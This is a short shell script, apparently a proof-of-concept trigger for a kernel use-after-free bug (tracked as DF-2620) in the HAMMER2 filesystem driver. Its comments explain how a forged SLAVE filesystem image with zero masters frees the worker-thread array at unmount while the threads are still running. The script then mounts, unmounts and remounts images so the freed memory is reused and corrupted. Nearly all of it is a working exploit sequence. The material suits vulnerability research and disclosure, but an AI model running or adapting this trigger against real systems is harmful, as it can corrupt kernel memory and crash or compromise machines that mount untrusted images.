DF-2620 / trigger_B.sh
#!/bin/sh # DF-2620 variant B trigger: forged PFS "testvol" with # meta.pfs_type = 0x03 (SLAVE), meta.pfs_nmasters = 0 # -> single chain, zero visible masters -> pmp->pfs_nmasters stays 0 # -> umount: hammer2_xop_helper_cleanup() loop body executes ZERO times, # kfree(xop_groups) runs IMMEDIATELY, while all 36 xop worker threads # created at mount time (hammer2_mount_helper -> xop_helper_create) # are still alive INSIDE the freed array. Their sync/teardown in # hammer2_pfsdealloc/pfsfree is skipped because pmp->xop_groups is # already NULL (admin.c:452-456 / vfsops.c:655-661). # # Demonstration: # 1. mount forged image (SLAVE, ro) # 2. ls works (nquorum = 0/2+1 = 1, single chain satisfies it) # 3. umount succeeds -> xop_groups freed with live workers # 4. ps still shows h2xop-testvol.* threads (zombies on freed memory) # 5. mount another hammer2 image -> allocator reuses the freed 18KB # block for the new xop_groups -> zombie workers poll the reused # memory every second (thr_wait_any hz timeout) -> corruption vnconfig -u vn0 2>/dev/null || true vnconfig -u vn1 2>/dev/null || true vnconfig -c vn0 /root/poc/df2620/B.img vnconfig -c vn1 /root/poc/df2620/base.img mkdir -p /mnt/h2 /mnt/h2b echo "=== 1. mount forged SLAVE pfs (pfs_nmasters=0) ===" mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2 echo MOUNT_RC=$? echo "=== 2. fs is fully usable (no quorum problem) ===" ls -la /mnt/h2 echo LS_RC=$? ps axlw | grep -c "h2xop-testvol" echo "=== 3. umount -> kfree(xop_groups) with live workers inside ===" umount /mnt/h2 echo UMOUNT_RC=$? echo "=== 4. workers still alive on freed memory ===" sleep 2 ps axlw | grep -c "h2xop-testvol" echo "=== 5. reclaim freed memory with a new hammer2 mount ===" mount -t hammer2 -o ro /dev/vn1@testvol /mnt/h2b echo MOUNT2_RC=$? sleep 5 ps axlw | grep -c "h2xop-testvol" echo TRIGGER_B_DONE |